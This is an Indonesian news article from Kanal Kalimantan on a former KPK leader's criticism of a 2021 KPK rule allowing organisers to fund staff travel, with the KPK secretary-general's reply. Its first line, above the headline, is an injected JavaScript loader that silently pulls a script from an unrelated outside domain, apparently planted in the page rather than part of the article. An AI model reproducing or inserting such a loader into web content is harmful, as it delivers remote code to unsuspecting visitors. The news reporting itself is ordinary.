(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aturan Perjalanan Dinas Membuat Keropos Integritas KPK


KANALKALIMANTAN.COM, JAKARTA – Mantan pimpinan KPK M Busyro Muqoddas menilai aturan baru lembaga antirasuah tentang perjalanan dinas yang membolehkan dibiayai panitia dapat membuat keropos mentalitas dan integritas KPK.

Pimpinan KPK telah meneken Peraturan Pimpinan KPK Nomor 6 Tahun 2021 tentang Perjalanan Dinas di lingkungan KPK. Aturan ini membolehkan perjalanan dinas di lingkungan KPK untuk mengikuti rapat, seminar dan sejenisnya ditanggung panitia penyelenggara.

Mantan pimpinan KPK M Busyro Muqoddas menilai perubahan aturan KPK ini dapat membuat keropos mentalitas dan integritas di KPK yang baik. Sebab, kata dia, aturan ini berpotensi membuka peluang pemberian gratifikasi kepada pegawai KPK.

Hal ini berbeda dengan anggaran perjalanan dinas pegawai dan pimpinan KPK sebelumnya yang menggunakan anggaran KPK. Kebijakan ini bertujuan membuat KPK bisa berdiri independen dan berintegritas saat berhadapan dengan pihak lain.

 

 

Baca juga: PPKM Level 4 Diperpanjang hingga 16 Agustus, Termasuk Banjarmasin dan Banjarbaru!

“Menjaga integritas dan menutup budaya feodalisme. Karena kalau pelayanannya diberikan kepada daerah yang dikunjungi. Daerah itu kalau kedatangan apalagi KPK, dikhawatirkan pelayanannya berlebihan karena sudah jadi budaya,” jelas Busyro Muqoddas kepada VOA, Senin (9/8/2021).

Busyro masih ragu pegawai KPK yang lama dan memiliki integritas karena terbiasa dengan nilai yang lama akan menerima aturan baru ini. kendati, kata dia, tidak banyak pilihan bagi pegawai KPK yang bertahan untuk menolak aturan ini.

Busyro menyebut perubahan aturan perjalanan dinas ini sebagai pelemahan lanjutan setelah revisi Undang-undang KPK dan tes wawasan kebangsaan (TWK) KPK yang menyingkirkan orang-orang berkualitas di KPK. Revisi UU KPK tersebut memiliki dampak yang luas karena mengubah status KPK dari independen menjadi eksekutif dan pegawainya menjadi ASN.

“Anggaran di luar APBN itu kalau datang dari pengusaha, itulah yang menjadi masalah dan kekhawatiran adanya gratifikasi. Contoh kemarin Firli pakai helikopter eksekutif,” tambah Busyro.

Sekjen KPK : Aturan Soal Biaya Perjalanan Dinas Hanya Untuk Antar-Kementerian/Lembaga

Di lain kesempatan, Sekretaris Jenderal KPK Cahya Hardianto Harefa mengatakan aturan ini hanya berlaku antar kementerian dan lembaga atau lingkup ASN. Sementara kerjasama antara KPK dengan pihak swasta tidak berlaku dan pegawai KPK tidak dibolehkan menerima honor. Ia menyebut aturan ini memungkinkan bagi KPK untuk mengakomodir atau berbagi biaya dengan kementerian lembaga lain. Sehingga tidak ada program yang terkendala karena anggaran.

“KPK menyampaikan kembali bahwa biaya perjalanan dinas merupakan biaya operasional untuk melaksanakan kegiatan yang diatur dan memiliki standar nominal. Bukan gratifikasi apalagi suap,” jelas Cahya Hardianto dalam konferensi pers daring, Senin (9/8/2021).

Cahya menegaskan pembiayaan seluruh kegiatan perkara di KPK akan menggunakan anggaran KPK untuk mengantisipasi konflik kepentingan. Kata dia, pegawai KPK dalam melaksanakan tugas juga berpedoman kepada kode etik, diawasi Dewan Pengawas dan inspektorat.

“Kami juga mengajak masyarakat untuk turut mengawasi penggunaan anggaran negara agar terus taat terhadap aturan dan mengedepankan tepat sasaran, serta manfaatnya,” tambahnya.

Baca juga: Polisi Bongkar Transaksi Sabu Tanpa Tatap Muka di Samarinda

Kendati demikian, larangan bagi pegawai KPK menerima biaya perjalanan dinas atau honor yang disampaikan Sekjen KPK Cahya Hardianto tidak dituangkan dalam aturan perjalanan dinas yang diteken pimpinan KPK pada 30 Juli 2021. (voaindonesia/sm/em)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.